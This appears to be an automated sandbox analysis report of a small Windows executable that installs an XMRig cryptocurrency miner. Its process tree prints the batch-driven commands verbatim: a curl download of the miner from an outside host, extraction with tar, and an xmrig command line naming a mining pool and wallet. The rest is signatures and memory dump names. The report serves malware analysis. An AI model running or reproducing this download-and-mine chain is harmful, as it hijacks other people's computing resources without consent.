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13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
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240313-kms82aah481012/03/2024, 18:00
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240312-wf31fahd5810Analysis
- max time kernel
1194s - max time network
1200s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 08:43
General
- Target test - Copy - Copy (3).exe
- Size 6KB
- Sample240313-kms82aah48
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 63 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (3).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (3).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3ImpFwgg.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
3ImpFwgg.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/1904-58-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-65-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-25-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-26-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-27-0x000001A1E05E0000-0x000001A1E0600000-memory.dmp
memory/1904-28-0x000001A1E0600000-0x000001A1E0620000-memory.dmp
memory/1904-59-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-30-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-32-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-61-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-34-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-35-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-37-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-38-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-39-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-40-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-41-0x000001A1E05E0000-0x000001A1E0600000-memory.dmp
memory/1904-42-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-44-0x000001A1E0600000-0x000001A1E0620000-memory.dmp
memory/1904-43-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-45-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-46-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-47-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-48-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-49-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-50-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-51-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-52-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-53-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-54-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-55-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-56-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-57-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-23-0x000001A1E0580000-0x000001A1E05A0000-memory.dmp
memory/1904-29-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-24-0x000001A1E05C0000-0x000001A1E05E0000-memory.dmp
memory/1904-33-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-62-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-63-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-64-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-60-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-66-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-67-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-68-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-69-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-70-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-71-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-72-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-73-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-74-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-75-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-76-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-77-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-78-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-79-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-80-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-81-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-82-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-83-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-84-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-85-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-86-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-87-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-88-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-89-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-90-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/1904-91-0x00007FF7BB8E0000-0x00007FF7BC3E4000-memory.dmp
memory/4976-0-0x00000000001A0000-0x00000000001A8000-memory.dmp
memory/4976-3-0x00007FFDE7830000-0x00007FFDE82F1000-memory.dmp
memory/4976-22-0x00007FFDE7830000-0x00007FFDE82F1000-memory.dmp